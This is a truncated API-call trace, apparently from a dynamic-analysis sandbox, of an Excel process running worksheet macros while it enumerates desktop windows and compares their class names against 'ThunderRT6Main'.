[0104.395] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0104.395] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0104.395] GetClassNameA (in: hWnd=0x10122, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.395] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0104.395] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0104.395] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0104.395] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0104.395] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0104.395] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0104.395] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.395] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.395] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.395] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0104.396] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0104.396] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0104.396] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.396] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0104.396] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0104.396] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0104.396] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.396] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0104.396] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.396] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.396] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.396] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0104.396] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.396] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.396] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.396] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0104.396] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.396] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.396] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.396] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0104.396] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0104.396] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0104.396] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.396] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0104.396] GetClassNameA (in: hWnd=0x20018, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0104.396] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0104.396] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0104.396] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0104.396] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.396] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0104.396] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0104.396] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0104.396] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0104.396] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0104.396] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0104.396] GetClassNameA (in: hWnd=0x20016, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.396] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0104.396] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0104.397] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0104.397] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0104.397] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0104.397] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0104.397] GetClassNameA (in: hWnd=0x20108, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.397] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0104.397] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0104.397] GetClassNameA (in: hWnd=0x10106, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0104.397] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0104.397] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0104.397] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0104.397] GetClassNameA (in: hWnd=0x10102, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0104.397] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0104.397] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0104.397] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0104.397] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0104.397] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0104.397] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0104.397] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0104.397] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0104.397] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0104.397] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.397] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0104.397] GetClassNameA (in: hWnd=0x10084, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0104.397] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0104.397] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0104.397] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0104.397] GetClassNameA (in: hWnd=0x10082, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0104.397] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0104.397] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.397] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0104.397] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0104.397] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0104.397] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0104.397] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0104.397] GetClassNameA (in: hWnd=0x10080, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.397] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0104.398] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0104.398] GetClassNameA (in: hWnd=0x10076, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.398] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.398] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.398] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0104.398] GetClassNameA (in: hWnd=0x10064, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0104.398] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0104.398] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.398] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0104.398] GetClassNameA (in: hWnd=0x10110, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="#43") returned 3 [0104.398] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0104.398] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0104.398] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0104.398] GetClassNameA (in: hWnd=0x10112, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.398] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0104.398] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0104.398] GetClassNameA (in: hWnd=0x10060, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0104.398] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0104.398] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.398] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0104.398] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0104.398] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0104.398] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x72e1380 [0104.398] IMalloc:Free (This=0x7feffc15380, pv=0x72e1380) [0107.466] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e000001ad | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e000001ad) returned 0x0 [0107.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0107.466] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0107.466] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0107.466] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0107.468] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0107.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0107.468] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0107.468] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0107.468] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0107.496] GetCurrentThreadId () returned 0x8fc [0107.496] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0107.496] GetDesktopWindow () returned 0x10010 [0107.496] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10070 [0107.496] GetClassNameA (in: hWnd=0x10070, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.496] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.496] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10140 [0107.496] GetClassNameA (in: hWnd=0x10140, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0107.496] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0107.496] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0107.496] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0107.496] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.496] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0107.496] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0107.496] GetClassNameA (in: hWnd=0x10138, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0107.496] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0107.496] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0107.496] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0107.496] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.496] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.496] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0107.496] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.496] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.496] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0107.496] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.497] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.497] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.497] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0107.497] GetClassNameA (in: hWnd=0x10072, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.497] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.497] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.497] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x1005c [0107.497] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.497] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.497] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.497] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0107.497] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.497] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.497] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.497] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0107.497] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.497] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.497] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.497] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0107.497] GetClassNameA (in: hWnd=0x10078, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.497] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.497] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.497] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0107.497] GetClassNameA (in: hWnd=0x10074, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.497] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.497] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.497] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0107.497] GetClassNameA (in: hWnd=0x10052, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0107.497] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0107.497] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.498] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0107.498] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.498] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.498] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.498] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0107.498] GetClassNameA (in: hWnd=0x10054, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Button") returned 6 [0107.498] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0107.498] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.498] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0107.498] GetClassNameA (in: hWnd=0x10050, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0107.498] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0107.498] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.498] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0107.498] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.498] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.498] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0107.498] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0107.498] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.498] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.498] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.498] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0107.498] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0107.498] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0107.498] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.499] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0107.499] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0107.499] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0107.499] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.499] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x1021a [0107.499] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0107.499] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0107.499] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.499] GetWindowLongA (hWnd=0x1021a, nIndex=-16) returned -1946157056 [0107.499] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0107.499] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0107.499] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x2019c [0107.499] GetClassNameA (in: hWnd=0x2019c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.499] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.500] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.500] GetWindowLongA (hWnd=0x2019c, nIndex=-16) returned -1946157056 [0107.500] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0107.500] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0107.500] GetWindow (hWnd=0x2019c, uCmd=0x2) returned 0x202ca [0107.500] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0107.500] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0107.500] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.500] GetWindowLongA (hWnd=0x202ca, nIndex=-16) returned 382664704 [0107.500] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0107.500] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0107.500] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x20266 [0107.500] GetClassNameA (in: hWnd=0x20266, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.500] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.500] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.500] GetWindowLongA (hWnd=0x20266, nIndex=-16) returned -1778384896 [0107.500] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0107.500] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0107.500] GetWindow (hWnd=0x20266, uCmd=0x2) returned 0x20268 [0107.500] GetClassNameA (in: hWnd=0x20268, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.500] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.500] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.500] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896 [0107.500] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0107.500] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0107.500] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a [0107.500] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.500] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.500] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0107.500] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896 [0107.500] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0107.500] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0107.500] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x600d0 [0107.500] GetClassNameA (in: hWnd=0x600d0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0107.500] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0107.500] GetWindowThreadProcessId (in: hWnd=0x600d0, 